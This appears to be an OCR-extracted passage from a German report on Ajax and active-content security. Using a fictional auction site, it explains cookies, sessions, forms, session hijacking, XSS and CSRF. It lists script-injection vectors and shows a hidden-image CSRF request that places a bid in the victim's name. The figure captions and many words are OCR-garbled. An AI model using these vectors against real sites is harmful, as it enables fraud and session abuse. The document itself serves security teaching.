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Eigentlich wird bei Ajax XML fiir den Austausch von Nachrichten verwendet. Ajax unterstiitzt aber
beliebige andere Formate (z. B. Klartext) und funktioniert auch vollig ohne XML. JavaScript bzw.
DHTML hingegen ist essenziell, um einen Austausch von Daten zu ermdglichen.

Der Begriff Ajax umfasst somit jene JavaScripts, die XMLHttpRequest- bzw. Microsoft XMLHTTP-
Objekte verwenden, um Nachrichten asynchron oder synchron zwischen Browser und Server zu
senden (siche Abbildung 4.3). Fiir die Verarbeitung und Darstellung der empfangenen Informatio-
nen werden bereits bekannte Aktive Inhalte wie JavaScript bzw. DHTML verwendet.

4.1 Ajax-Frameworks

Der Begriff Framework stammt aus der Software-Technik. Die sogenannten Ajax-Frameworks sind
Sammlungen von Funktionen (Bibliotheken), welche die Verwendung des XMLHttpRequest-Ob-
jekts (kurz XHR genannt) erleichtern sollen.

Um den Inhalt einer Webseite wie im vorherigen Beispiel zu verdndern, sind mit Ajax client-seitig
mehrere Arbeitsschritte notig. Zuerst muss das XHR-Objekt erstellt und die Anfrage konfiguriert
werden. Nach dem Absenden muss dann auf die vollstindige Antwort gewartet werden, ehe sie
iiberpriift und verarbeitet werden kann. Dies ist die grundsétzliche Funktionsweise von Ajax. Die
empfangenen Daten miissen anschlieend noch an gewiinschter Stelle der Webseite dargestellt wer-
den.

Mit Hilfe von Ajax-Frameworks sind diese Arbeitsschritte inklusive der Darstellung meist mit einer
einzigen Funktion moglich. Zusétzlich bieten viele Frameworks noch weitere Funktionen, die tiber
den Umfang von Ajax hinausgehen. Beispielsweise kann der Empfang neuer Nachrichten durch
eine einfache Option optisch hervorgehoben oder durch ein bewegliches Fenster innerhalb der Seite
angezeigt werden (siche Abbildung 4.4).

Neue E-Mail empfangen

Dworschak, Roland Ajax Test2

Abbildung 4.4: Schemenhaftes Beispiel fiir Funktionen von Ajax-Frameworks.

Abgesehen von den client-seitigen Frameworks, die aus reinem JavaScript bestehen, gibt es auch
serverseitige Frameworks, die Funktionen und Objekte in einer jeweiligen Programmiersprache zur
Verfligung stellen. Damit lassen sich dynamische Webseiten erstellen, welche die ndtigen Ja-
vaScript-Funktionen fiir die Clientseite sowie die Schnittstellen fiir den Austausch von Daten auto-
matisch generieren.
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Abbildung 4.5: Der Programmierer verwendet serverseitige Frameworks, um den nétigen JavaScript-Code fiir Ajax
und die Schnittstellen fiir den Austausch von Daten automatisch zu erstellen.

Mit einem serverseitigen Framework wie Sajax” braucht ein Web-Programmierer nicht den client-
seitigen Code fiir Ajax zu implementieren, sondern kann in seiner gewohnten Programmiersprache
(z. B. PHP) die Funktionen des Frameworks verwenden. Die ndtigen JavaScript-Funktionen werden
bei jedem Aufruf dynamisch generiert und an den Browser gesendet (sieche Abbildung 4.5). Die
Schnittstellen fiir den Austausch von Daten werden dabei ebenfalls in der gewohnten Programmier-
sprache implementiert. Der Austausch von Nachrichten zwischen Browser und Webserver wird da-
bei stets client-seitig iiber das XHR-Objekt realisiert (Ajax).

42  DHTML (Dynamic HTML)

Der Begriff Dynamic HTML bezeichnet Aktive Inhalte, die es ermoglichen, eine Webseite, nach-
dem sie vollstindig geladen wurde, auf der Clientseite noch zu verdndern. In unserem vorherigen
Beispiel wird in regelméfBigen Abstdnden liberpriift, ob neue E-Mails vorhanden sind. Ohne dass
der Benutzer davon etwas merkt, werden per Ajax Daten zwischen Browser und Webserver ausge-
tauscht. Sobald neue Mitteilungen eingetroffen sind, werden diese per DHTML in der bestehenden
Seite angezeigt, ohne dass diese komplett neu vom Server geladen werden muss.

Der Aufbau einer Webseite ist durch HTML [W3C99] definiert und besteht aus verschiedenen Ele-
menten, die wiederum aus sogenannten Tags (<body> <table> <tr> <div> etc.) bestehen. Jedes
Tag ist maB3gebend fiir das Layout der Seite und besitzt Attribute wie Breite, Hohe, Farbe, Inhalt
des Elements, die das Aussehen und den Inhalt der Seite bestimmen.

Das Document Object Model (DOM) [W3C04] ist wie HTML durch das World Wide Web Consor-
tium (W3C) standardisiert und definiert den Zugriff auf die Elemente einer HTML-Seite. Es repra-
sentiert die HTML-Seite als hierarchische Baumstruktur, bestehend aus einem Wurzelknoten und
im Normalfall mehreren Elementknoten. Ein Knoten entspricht einem HTML-Element und kann
immer {liber den Wurzelknoten erreicht werden (siehe Abbildung 4.6).

2 Sajax ist ein serverseitiges Ajax-Framework, das fiir mehrere Programmiersprachen (Coldfusion, Perl, PHP, Python
und Ruby) eingesetzt werden kann.
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Browser Sicht
[~ Dworschak, Roland Ajax 14. Mai.
[~ Dworschak, Roland Test 11. Mai.

<div id="mailbox">
<table border="0">
<tbody id="e-mail":>
<tr>
<td>»Dworschak, Roland</td>
<td>Bjax</td>
<td>14. Mai.</td>
</tr=
<tr>
<td>Dworschak, Reoland</td>
<td>Test</td>
<td»1l. Mai.</td>
</tr>
</tbody>
<,-"rt able>
</div>

' DOM Sicht

Dworschal, Dworschak,
Roland Roland

Abbildung 4.6: Verschiedene (vereinfachte) Sichtweisen einer Webseite - Browser, HTML, DOM.

Mit DHTML kann so nicht nur der Inhalt von HTML-Elementen verdndert werden. Durch gezieltes
Andern von Attributen konnen visuelle Effekte wie eigene Fenster innerhalb der HTML-Seite (sie-
he Abbildung 4.4, Seite 19), sich dndernde Bilder, bewegliche Meniis etc. realisiert werden. DHT-
ML arbeitet rein client-seitig und umfasst jene JavaScripts, die fiir die aktive Manipulation von
DOM-Elementen verwendet werden. Die Aufforderung und Information fiir die Manipulation kann
dabei bereits statisch im Dokument hinterlegt sein oder beispielsweise per Ajax nachgeladen wer-

den.

Die Interaktion einer Web-Anwendung, die mit Ajax realisiert wurde, setzt somit auch immer Java-
Script und in den meisten Féllen auch DHTML voraus. Ohne JavaScript konnte das XMLHttp-
Request-Objekt nicht verwendet werden und ohne DHTML wire eine Darstellung der empfangenen
Daten nicht moglich. Ajax-Frameworks bieten folglich Funktionen, die sowohl die nétigen Ajax-,
JavaScript- als auch DHTML-Funktionen kombiniert umsetzen.

Eine vollstindige Liste aller Funktionen und ein Vergleich zu DHTML ist im Anhang A ab Seite

mit einigen Beispielen zu finden.
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5 Gefahrdungen

Aktive Inhalte wie Ajax werden im Browser des Benutzers ausgefiihrt und bergen somit zahlreiche
Risiken. Das Ziel eines Angriffs ist dabei nicht die Web-Anwendung oder der Webserver, sondern
vielmehr der Benutzer, auf dessen Rechner der Schadcode ausgefiihrt wird. Da der Code mit den
Berechtigungen des Browsers lduft, kann auch ein Zugriff auf lokale Ressourcen nicht ausgeschlos-
sen werden.

Meldungen iiber Sicherheitsliicken in Web-Anwendungen und Frameworks gibt es fast tidglich. Da-
bei sind Sicherheitsliicken in Frameworks potenziell noch tiickischer als solche, die nur einzelne
Web-Anwendungen betreffen. Bei letzteren geniigt es, wenn der Betreiber der Web-Anwendung die
Liicke schlieB3t, wihrend bei einer Liicke in einem verbreiteten Framework, auf dem eine grofle An-
zahl von konkreten Web-Anwendungen aufbaut, jede einzelne dieser Web-Anwendungen betroffen
ist. Das Einspielen eines Patches fiir ein einer Web-Anwendung zu Grunde liegendes Framework ist
aber unter Umstdnden mit betrdchtlichen Schwierigkeiten verbunden, beispeilsweise wenn der
Patch Funktionen betrifft, die von der Web-Anwendung intensiv genutzt werden. Dartiber hinaus
sind sich Betreiber entsprechender Web-Anwendungen hiufig iiberhaupt nicht dariiber im Klaren,
dass ihre Anwendung von Schwachstellen in einem verwendeten Framework betroffen ist.

Die zwei hdufigsten Schwachstellen sind dabei Cross-Site Scripting (XSS) — diese Schwachstelle
war zeitweise in mehr als 80% aller Webseiten zu finden [Gros06] — und Cross-Site Request For-
gery (CSRF bzw. auch XSRF abgekiirzt). Die Gefahrdungen, die von Aktiven Inhalten ausgehen,
werden in diesem Kapitel analysiert.

5.1 Grundlagen

Bevor XSS und CSRF ndher untersucht werden, ist es wichtig, die grundlegenden Methoden von
Web-Anwendungen zu kennen. Dies umfasst die Verwendung von einerseits Sessions bzw. Cookies
und andererseits Formularen bzw. Formularfeldern in Verbindung mit Aktiven Inhalten.

v &) Auktionshaus - BSI &) AUkt onshans - BS1 )
Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe Daei Deerbeiten Ansicnt Chronik Lesezeicher Sitras |ile

: - == =an L P — - - I
<i: ~ C|> & L‘;ﬂ :ﬂ.j [ fie:fjfhome/DworschakRolandjdocs/be = LS [0 | LI fleierne/Cwerschekfo and/decs/teispiels
Auktionshaus Auktionshaus

Sie sind als User123 wngeneldel
Geben Sie ihren Benutzernamen und Kennwort an:

Muslk CD Amikzinummer: 123436
Einloggen Meneste Titel,
Renutzername Il Iser123
Aktuclles Gebot EUR 15.00
Kennwort Iu:um:v-:
Tl Gebol EUR 20
Einloggen
# Giebot bestitigen Sendan

Abbildung 5.1: Auktionshaus: Links die Authentisierung, rechts das Abgeben eines Gebots.

Das folgende Fallbeispiel dient zur Erklarung der verschiedenen Techniken. Ein Benutzer meldet
sich mit seinen bereits bestehenden Zugangsdaten an einem Auktionshaus an, wéhlt einen Artikel
und bietet einen beliebigen Preis (siehe Abbildung 5.1).
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5.1.1 Sessions und Cookies

Damit die Web-Anwendung bei der Abgabe eines Gebots feststellen kann, um welchen Benutzer es
sich handelt, ohne dass dieser seine Benutzerdaten jedes Mal neu eingeben muss, werden sogenann-
te Sessions verwendet.

Nach einer erfolgreichen Authentisierung des Benutzers wird auf dem Server eine kleine Datei
(Session) angelegt, die den Benutzernamen und eventuell weitere Daten enthélt. Referenziert wird
diese Datei durch eine eindeutige Identifikationsnummer (Session-ID), die dem Benutzer in den
meisten Fallen in Form eines Cookies gesendet wird (sieche Abbildung 5.2). Cookies kdnnen zusétz-
lich zu einer Bezeichnung und einem Wert (Session-ID), ein Ablaufdatum, einen Pfad, einen Do-
main-Namen und weitere optionale Attribute enthalten.

Browser auktionshaus.de
POS Tlogin.php HTTP/1.0 v Daten iiberpriifen
Anfordem der user = User123 pass = sfifeXy i
Sate o Session anlegen
Artike! Ubars icht | ] 1 sessionid 123456:
Cookie - setCookie ( sessionid = 123456 ) user = Usert23
speichem i3
‘/ s Cookie senden
Mame: sessionid
| | Content: 123456
Domain:  .auktionshaus.de

Path: !
Secue:  false
Expires  06/02/2037 21:52:59

Abbildung 5.2: Cookies werden zum Wiedererkennen des Benutzers verwendet.

Bei jeder weiteren Anfrage an das Auktionshaus wird nun der Inhalt des Cookies automatisch vom
Browser mitgesendet (siche Abbildung 5.3). Die Web-Anwendung kann so jederzeit feststellen, um
welchen Benutzer es sich handelt. Beendet wird die Session erst, indem auf dem Server die Session-
Datei entfernt wird, der Benutzer das Cookie 16scht oder die Giiltigkeit des Cookies erlischt.

MName: sessionicd

Cortent: 456
¥ 1 Domain: | .auktionshaus de

Path:  / Browser auktionshaus.de

Secure: false
Expires  0D6/02/2037 21:52:59

\ GET artikelphp HTTP/T.0
Anfordem von sessionid = 123456

auktionshaus.de

Y

. Session iiberpnifen
Artikel Beschreibung

|

sessionid 123456:
L 1 user = User123

Abbildung 5.3: Der Inhalt des Cookies wird bei Verwendung der Domain automatisch mitgesendet.

Innerhalb dieser Zeitspanne, nachdem der Kunde sich einmalig authentisiert hat, wird dieser alleinig
durch die Session-ID erkannt. Folglich bedeutet die Weitergabe dieser Session-ID die Weitergabe
der Identitdt. Gelingt es einem Angreifer die Session-ID des Benutzers zu erlangen, kann er sich als
Userl23 ausgeben und alle Moglichkeiten nutzen, die dem tatsdchlichen Benutzer zur Verfiigung
stehen. Beispielsweise konnte der Angreifer nun Artikel ersteigern, Mitteilungen innerhalb der
Web-Anwendung versenden, den Account 16schen oder verdndern usw.
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Dieser Angriff wird als Session Hijacking bezeichnet, da die bestehende Session eines authentisier-
ten Benutzers vom Angreifer ,,entfiihrt™ und entsprechend ausgenutzt wird. Haufig ist daher das
Ziel einer XSS-Attacke, die Cookies von Besuchern auszulesen, um anschliefend die Rechte derer
auszunutzen.

5.1.2 Formulare und Formularfelder

Ein weiterer wichtiger Punkt ist die Funktionsweise von Formularen und Formularfeldern. Diese
Elemente werden beim Auktionshaus sowohl bei der Authentisierung als auch zur Abgabe eines
Gebots verwendet (siche Abbildung 5.1).

Der Quellcode (in gekiirzter Form) fiir die Abgabe eines Gebotes setzt sich wie folgt zusammen:

<form method="GET" action="bieten.php">
<input type="hidden" name="artikelnummer" value="123456" />

Thr Gebot: <input type="text" name="gebot" />
Gebot best&auml;tigen: <input type="submit" value="Senden" />
</form>

Das Formular umfasst drei Formularfelder, wobei nur zwei davon sichtbar sind: die Eingabe des
Gebots und der Button zum Absenden des Formulars. Da der Button kein name-Attribut besitzt,
wird er beim Absenden des Formulars nicht berticksichtigt. Das versteckte (hidden) Formularfeld
»artikelnummer* wird hingegen miteinbezogen und von der Web-Anwendung fiir die Erkennung
des Artikels verwendet.

Das action-Attribut des Formulars, falls vorhanden, gibt das Ziel an, an welche Seite die Formular-
daten beim Absenden geschickt werden. Fehlt das action-Attribut wird die aktuelle Seite verwen-
det. Das method-Attribut des Formulars legt die Request-Methode fest und kann entweder GET
oder POST sein. Bei GET, wie in diesem Beispiel, werden die Formularfelder in der URL {iberge-
ben (15 Euro werden auf den Artikel mit der Nummer 123456 geboten):

GET bieten.php?artikelnummer=123456&gebot=15 HTTP/1.0

Bei Verwendung von POST werden die Daten stattdessen als Content an die Anfrage angehéngt:

POST bieten.php HTITP/1.0
Content-Type: application/x-www-form—urlencoded
Content-Length: 29

artikelnummer=123456&gebot=15

In den meisten Fillen wird POST verwendet, um die URL moglichst iibersichtlich zu halten und die
Logdatei des Servers nicht mit Parametern zu fiillen. Sicherheitstechnisch bietet bei solchen Angrif-
fen keine der beiden Methoden irgendwelche Vorteile. Sowohl GET- als auch POST-Requests kon-
nen manuell erstellt und manipuliert werden.

Abbildung 5.4 zeigt den GET-Request, der beim Absenden des Formulars gesendet wird. Die Web-
Anwendung kann nun den Benutzer mit Hilfe der Session-ID identifizieren und die Artikelnummer
sowie das Gebot anhand der gesendeten Parameter erkennen und verarbeiten. AbschlieBend erhélt
der Benutzer noch die Bestitigung iiber sein Gebot.
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Mame: sessionid
| L | Cortert: 123456
Domain:  auktionshaus.de

Path: I :
Secure:  false Browser auktionshaus.de

Ewpires  0B/02/2037 21:59:59

\

& phpMartike inwmmer=1234568
Biete 15 EUR gebot=15 |HTTP/T.0 ey Session iiberpriifen

aultionshaus.de sessionid = 123456 i

| | 1 sessionid 123456:
user = Us=r123
Ihr Gabot warde bestatigt.

 §

Gebot speichem

Abbildung 5.4: Die Formularfelder werden als Parameter in der Anfrage tibergeben.

Wichtig ist hierbei zu erkennen, dass das Formular nicht zwingend von der Web-Anwendung aus
gesendet werden muss. Beispielsweise konnte das Formular auf jeder beliebigen anderen Seite oder
auch lokal am eigenen System nachgebaut werden. Das action-Attribut des Formulars wird dabei
auf http://aktionshaus.de/bieten.php gesetzt. Beim Absenden des Formulars wird vom Browser die
selbe Anfrage generiert, wie bei der Verwendung des Formulars der Web-Anwendung. In diesem
Beispiel konnte die Anfrage auch direkt angegeben werden, ohne ein Formular zu verwenden (siehe
Abbildung 5.5).

r

) Auktionshaus - BSI

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe

(\; - - I\‘é’j :EI‘ http:/fauktionshaus.defbieten.php?artikelnummer=123456&gebot=15
Abbildung 5.5: Manuelle Eingabe der Anfragen iiber den Browser.

Unabhéngig davon, auf welcher Seite bzw. welcher Domain sich der Benutzer gerade befindet,
schickt der Browser bei Anfragen an auktionshaus.de automatisch das passende Cookie des Benut-
zers mit. Dies ist das Grundprinzip fiir Cross-Site Request Forgery (CSRF). Wie diese Schwach-
stelle ausgenutzt werden kann, wird spater erlautert.

Wenn keine Cookies verwendet werden, weil der Besucher diese nicht akzeptiert oder die Web-An-
wendung als Schutz vor CSRF nicht einsetzt, kann die Session-ID als Parameter in der URL iiber-
geben werden (sogenanntes URL-Rewriting). Voraussetzung fiir diese Alternative ist die serversei-
tige Unterstiitzung, die jeden Link dynamisch generieren und bei Anfragen wieder herausfiltern
muss.

Sobald sich ein Besucher authentisiert hat, wird, wie bei Cookies, eine Session auf dem Server an-
gelegt und iiber eine eindeutige Session-ID referenziert. Anstatt diese ID nun dem Besucher in
Form eines Cookies zu libergeben, wird stattdessen jeder Link in der Web-Anwendung mit der Ses-
sion-ID (in diesem Beispiel: SID=12345) erweitert. Das Gebot, wie in Abbildung 5.4 gezeigt, wiir-
de somit iiber folgenden Link erfolgen:

GET bieten.php?artikelnummer=123456&gebot=15&SID=12345

Die Web-Anwendung extrahiert die Session-ID aus der libergebenen URL und kann so wieder fest-
stellen, um welchen Kunden es sich handelt.

Wird auf Cookies komplett verzichtet, muss sich der Benutzer bei jedem Besuch des Auktionshau-
ses erneut anmelden, um eine Session-ID zu erhalten. Da der Referrer (die aktuelle URL als Absen-
der) vom Browser automatisch mitgesendet wird, muss zudem bei einem externen Link (auf einen
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anderen Server) zuerst auf eine Seite verwiesen werden, die keine Session-ID mehr enthélt. Andern-
falls wiirde ein Angreifer in der Lage sein, durch den Referrer die Session-ID auszulesen und zu
verwenden (Session Hijacking).

Die Kombination der beiden Techniken ermoglicht sowohl einen Schutz vor CSRF-Angriffen
(URL-Rewriting), als auch den Komfort, sich nur einmal authentisieren zu miissen (Cookies). Diese
SicherheitsmaBBnahme und ihre Schwachstellen werden in Abschnitt 5.3.5 (Seite 34) erldutert.

5.1.3 Aktive Inhalte

Die beiden vorherigen Abschnitte kurz zusammengefasst: Formularfelder werden genutzt, um In-
formationen des Benutzers an den Server zu senden, und Cookies, um den Benutzer eindeutig zu
identifizieren, damit sich dieser nicht erneut authentisieren muss.

Bislang verwendet das Auktionshaus keine Aktiven Inhalte. Wird ein Gebot abgegeben, wird bei-
spielsweise erst auf dem Server iiberpriift, ob das Gebot giiltig ist und gegebenenfalls dem Benutzer
das selbe Formular mit einer Fehlermeldung ausgegeben, dass das Gebot fehlt oder zu niedrig ist.
Um den Benutzer das unnétige Senden und Warten auf eine Antwort zu ersparen, soll die Validie-
rung des Gebots bereits beim Benutzer stattfinden.

Aktive Inhalte wie JavaScript ermoglichen es, eine Seite, nachdem sie vollstindig geladen wurde,
noch zu manipulieren. Wie beschrieben kann iiber das DOM jederzeit auf ein beliebiges Element
der Seite zugegriffen werden. Beim Absenden des Formulars kann so im Browser des Benutzers
vorab noch iiberpriift werden, ob das eingegebene Formularfeld Gebot hoher als das derzeitige Ge-
bot ist und andernfalls eine Fehlermeldung angezeigt werden (siche Abbildung 5.6).

r

] = Auktionshaus - BSI

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe

&; - v @’j I_/E‘ [ fileyifhomejOwaorschakRoland/docs/beispielefsession,
1 cl"lﬂ"‘""

AUktlon; = ) [JavaScript-Anwendung] P 2x

Sie sind als Userl| /1 Gebot zu niedrig.

Musik CD

Neueste Titel, ...

Aktuelles Gebaot EUR 15,00
Ihr Gebot EUR Ill
Gebot bestiitigen Senden |

Abbildung 5.6: client-seitige Uberpriifung des eingegebenen Gebots
mit Hilfe Aktiver Inhalte.

Aktive Inhalte konnen auf unterschiedliche Weisen in einer Seite implementiert werden. Beim Auk-
tionshaus wurde beispielsweise das Attribut onsubmit des Formulars verwendet: <form onsubmit
= "pruefeGebot () ">. Vor dem Absenden wird hier die JavaScript-Funktion pruefeGebot() aut-
gerufen, welche die Eingabe des Benutzers liberpriift. Weitere Moglichkeiten Aktive Inhalte einzu-

betten sind u. a. folgende Beispiele (zur Veranschaulichung wird eine Alertbox mit dem Inhalt js
ausgegeben):
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Eigenes HTML-Element
Script Tags <script>alert('js')</script>

<Scr1p Src= atel.]Js >< SCrip >
xterne Quelle ipt "datei.js"></ ipt

<iframe src="datei.js">

Attribut eines HTML-Elements
URL <a href="JavaScript:alert('js")">

<img src="url ('JavaScript:alert(js)")"> *

Events <body onload="JavaScript:alert('js')">

<div onlick="JavaScript:alert('js')">

<input type="text" onkeydown="JavaScript:alert('js')">
Cascading Style Sheets (CSS)*
URL <div style="background:url('JavaScript:alert(js)")">

Tabelle 1: Moglichkeiten Aktive Inhalte in HTML-Seiten zu implementieren. *vom Browser abhdngig

Ein weiterer wichtiger Aspekt im Zusammenhang mit Aktiven Inhalten und XSS ist die Moglich-
keit, HTML-Elemente aktiv zu erstellen. Grundsitzlich kann jedes beliebige Element erstellt wer-
den, wie beispielsweise auch ein komplettes Formular (siehe Seite 75). HTML-Elemente wie I-
Frames und Bilder haben zusitzlich die Eigenschaft, dass sie bei der Erstellung bzw. Anderung der
URL vom Browser automatisch nachgeladen werden. Ob das Element dabei iiber das DOM erstellt
oder einfach als Text in die Seite geschrieben wird, spielt keine Rolle. Als Beispiel hat der Verkéu-
fer eine Funktion implementiert, die es Besuchern ermdglicht wahlweise ein Bild der Vorder- oder
Riickseite einer Compact Disk anzusehen (siehe Abbildung 5.7).
- .
Detei Bearbeiten Ansich: Chorik Lesszeichen Est-as b

&) Alktionshaus

Sie bicten ol e e Musik CD mil den ukluzilsien Tikeln, Die
CD st pur gl in Yerwendun g cewesen und Ll keinerlel

«’\/ﬁ - :-> - :‘:;'J G} |_| filé:{,‘ﬁ'oma,r_l.warscha.kr-."o.lanﬂ,.r:
.

Auktionshaus

Sie sind als User123 angeme. det.

Musik CD Artikclnummer: 123456

Neneste Trel,

Aktuelles Gebot EUHK 15,00

T Gebot EUR |15

Gelbot bestatigen Sendzn

Sig pizten auf einz Musik UL mit den axtuellsten 'liteln, Lhe K“Ck auf ,,Ze'ge

CTY st nor ernmma’ in Versendung sewesen und bal keinerlei

Vorderseite"

Gekrouchsspuren.

Y

Zeige Vorderscite / Ruckscite der CD

Abbildung 5.7: Erstellen von neuen HTML-Elementen durch Aktive Inhalte iiber das DOM oder als Text.
Zeige <a href=javascript:zeige('vorn')>Vorderseite</a> /
<a href=javascript:zeige('hinten')>R&uuml;ckseite</a>

function zeige(url) {
var vorschau = document.getElementById('vorschau');
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1) DOM:

bild = (new Image);
bild.src = url + ".jpg";
vorschau.appendChild (bild) ;

2) Text:
vorschau.innerHTML = "<img src='" + url + ".jpg'>";

}

Beim Aufruf der Funktion zeige () wird durch den Link der Name des Bildes (,,vorn®, ,,hinten*)
iibergeben, ein Image Tag erstellt, dessen src-Attribut der URL des Bildes entspricht, und anschlie-
Bend der aktuellen Seite anhingt.

In diesem Beispiel wird lediglich die statische Bezeichnung des Bildes ,,vorn* oder ,,hinten* {iber-
geben, aber es konnen natiirlich beliebige Aktive Inhalte verwendet werden. Zu vermerken ist hier
noch, dass auch beim nachtriglichen Laden des Bildes das Cookie mitgeschickt wird, wenn sich das
Bild auf dem Server auktionshaus.de befindet.

5.2 Allgemeine Schwachstellen und Bedrohungen

Der Verkéufer des Artikels verwendet in seiner Produktbeschreibung Aktive Inhalte, um potenziel-
len Kéufern wahlweise die Vorder- oder Riickseite der Compact Disk zu zeigen, ohne dass jedes
Mal die komplette Seite neu geladen werden muss. Der Betreiber des Auktionshauses erweitert zu-
dem das Formular zum Absenden eines Gebots, um vorab zu {iberpriifen, ob das Gebot giiltig ist
und kann so einem Besucher unnétige Wartezeit ersparen.

Der hier niitzliche Code, der den Komfort des Benutzers erhoht, kann allerdings auch schnell auf
andere Weise genutzt werden. Die Bedrohung betrifft dabei stets den Benutzer, der eine infizierte
Seite 6ffnet und in dessen Browser der in der Seite enthaltene Schadcode ausgefiihrt wird. Selbst
wenn nur bei vertrauenswiirdigen Seiten Aktive Inhalte zugelassen und ansonsten generell blockiert
werden, bleibt das Risiko bestehen.

Ein Benutzer miisste, bevor er eine ,,vertrauenswiirdige Seite im Browser 6ffnet, bei jedem Besuch
die Seite nach etwaigem neuen Schadcode durchsuchen. Da dieser aber nicht statisch vorhanden
sein muss, sondern auch nachtraglich nachgeladen oder verdndert werden kann, ist dies kein ziel-
fiihrendes Vorhaben. Da der Schadcode Kommandos verwendet, die auch von der Web-Anwen-
dung selbst verwendet werden und diese beliebig verschleierbar sind (siehe Abschnitt 5.4.4), kon-
nen Aktive Inhalte nicht direkt klassifiziert werden.

Meist geniigt bereits eine einzige Liicke in einer Web-Anwendung, um beliebig weiteren Code ein-
zuschleusen. So kann ein Angreifer auf einfache Weise einen gezielten Angriff durchfiihren, der
ein grof3es Risiko fiir den Benutzer darstellt.

Das Ziel eines solchen Angriffs kann es sein, das Session-Cookie eines Besuchers auszulesen, um
anschlieBend dessen Rechte auszunutzen (Session Hijacking). Wann immer es einem Angreifer ge-
lingt, die Session-ID eines anderen zu erlangen, kann er sich fiir die Dauer der bestehenden Session
als dieser ausgeben. Dies kann ein Administrator eines Forum, eines Firmenportals, eines Content
Management Systems, ein Kunde eines Auktionshauses oder aber auch ein Kunde eines Online
Banking Systems sein.

Schadcode kann auch verwendet werden, um beliebige Anfragen zu generieren, die vom Browser
des Benutzers anschlieBend ausgefiihrt werden. Dies kann beispielsweise eine Seite mit Werbeban-
ner sein, die dem Angreifer einen gewissen Geldbetrag pro Besuch einrdumen oder einen Besuchs-
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counter hochzéhlen l4sst. Wenn ein Besucher zum aktuellen Zeitpunkt noch ein giiltiges Session-
Cookie besitzt, konnen allerdings auch Anfragen fiir das Abgeben eines Gebots in einem Auktions-
haus, das Titigen einer Uberweisung, das Offnen eines Ports iiber das Web-Interface des Sicher-
heits-Gateways, das Loschen einer Seite im Content-Management-System, das Versenden von E-
Mails iiber Webmail etc. getitigt werden. Diese Ausnutzung des Session-Cookies, ohne die Session
selbst zu verwenden (wie bei Session Hijacking), wird als Cross-Site Request Forgery bzw. Ses-
sion Riding bezeichnet. Je nach Implementierung ist dabei das Senden von Anfragen fiir den Be-
nutzer nicht sicht- bzw. feststellbar.

Ein weiteres Risiko stellt die Mdglichkeit des Zugriffs auf HTML-Elemente innerhalb einer Seite
dar. Mit Aktiven Inhalten lassen sich nicht nur Inhalte auslesen, sondern auch gezielt manipulieren.
Ein manuell oder durch den Browser automatisch eingetragenes Passwort auf einer Webseite kann
durch eingeschleusten Code jederzeit ausgelesen und auf verschiedene Arten an den Angreifer ge-
sendet werden. Ebenso konnen sensible Daten einer gedffneten Webseite, wie etwa der Kontostand
oder private Nachrichten im Webmail-Konto ausgelesen werden. Anstatt nur Daten auszulesen,
konnen mit diesem Angriff auch Daten manipuliert werden. Beispielsweise kann der Betrag oder
die Kontonummer einer Uberweisung unauffillig noch verindert werden, bevor diese endgiiltig ab-
geschickt wird oder bei einem Auktionshaus die Artikelnummer bzw. die Gebotssumme erhoht
werden.

Die Schwierigkeit fiir einen erfolgreichen Angriff ist dabei weniger, die Benutzer auf eine infizierte
Seite zu locken, sondern lediglich das Einschleusen von Schadcode in eine gewiinschte Seite (dies
wird als Cross-Site Scripting bezeichnet). Um das Ausmal} dieser Angriffe zu verdeutlichen, dient
das Auktionshaus als Beispiel fiir einen boswilligen Verkéufer, der seine Compact Disk moglichst
gut verkaufen mochte.

5.2.1 Cross-Site Request Forgery (CSRF)

Dieser Angriff wird auch Session Riding genannt, da die bestehende Session des Benutzers ausge-
nutzt wird, ohne diese selbst zu kennen (im Gegensatz zu Session Hijacking). Voraussetzung hier-
fiir ist entsprechend, dass das Opfer ein giiltiges Session-Cookie fiir die gewdhlte Web-Anwendung
besitzt.

Der Angreifer erstellt anhand des Sourcecodes der Web-Anwendung, der fiir jeden frei ersichtlich
ist, die gewlinschte Anfrage:

GET http://auktionshaus.de/bieten.php?artikelnummer=123456&gebot=200
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Nun kann diese URL (die auf seinen Artikel mit der Nummer 123456 ein Gebot iiber 200 EUR ab-
gibt) in einer beliebigen Seite eingeschleust bzw. in der eigenen Seite eingebaut werden oder, da es
sich um ein GET-Request handelt, beispielsweise dem Benutzer auch direkt per E-Mail geschickt
werden. Unauffalliger ist aber meist die Implementierung der URL in einer HTML-Seite. Dies
kann, wie in Tabelle 1 (Seite 27) dargestellt, auf unterschiedlichste Arten erfolgen. Grundsétzlich
wiirde dieser Angriff bei der Verwendung einer eigenen Seite auch vollig ohne Aktive Inhalte funk-
tionieren. Abbildung 5.8 zeigt schemenhaft den Ablauf des Angriffs.

Name: |sessionid F 1 http:/fwebseiten.de/gratis
' 1 Content: | 123456 -t
g:tm.a}n: Atktionshaus e @Angreifer versendet infizierten Link

Secure: false
Expires: 06/02/2037 21:59:59 " :
@ Opfer &ffnet Link

) ©) wWebseite )

Datel Bearbeiten Ansicht Chronik Lesezeichen Extras Bestehende Session Cookies werden

Browser vom Browser automatisch mitgesendet

'/3 - % $ wnw webseiten defgratis|
@ Browser sendet Anfrage fur <img> Tag:
HTML, GET http:/lauktionshaus.de/bieten.php?
Browser sendet Anfrage: <img> Tag artikelnummer=1234568gebot=200 HTTP/1.0
GET http://webseiten. delgratls [SessionID = 123456 |
\19 € ] = 5 webseite - |
Qatew Bearbeiten Ansicht Chmmk Lesezeichen  E) Catei Bearbeitan Ansicht Coronik Lesezsichar Extras kilfaf
(\c: = = @ ﬁ} :\_1 f.\l.e:fjfhnmeijnrsc.hak E e/ ame /Dwor (I1ath:\IamI;dc-c‘I_
s . . Auktionshaus
Meine private Webseite :
Sie sind gls User 123 angerneldet.
Hier entsteht demmniéchst eine neue Seite. T At |
Neueste Tiel, ...
|
T Viclen Dank fir [hr Gebot dker EUR 200.00 [
I e
Webseite enthalt nicht sichtbares Bild: Webapp"kation erkennt Anfrage als
«<img src="http://auktionshaus.de/bieten.php? Gebotsabgabe_

artikelnummer=123456 &gebot=200" style="display:none">

Abbildung 5.8: Schematischer Ablauf einer CSRF-Attacke. Die Gebotsbestditigung wird zwar an den Browser des Opfer
tibertragen, aber nicht dargestellt (display: none).

Mit Hilfe eines Bildes, das per CSS-Anweisung nicht dargestellt wird (display: none), kann der An-
greifer unbemerkt die gewiinschte URL einschleusen, die der Browser automatisch versendet. Das
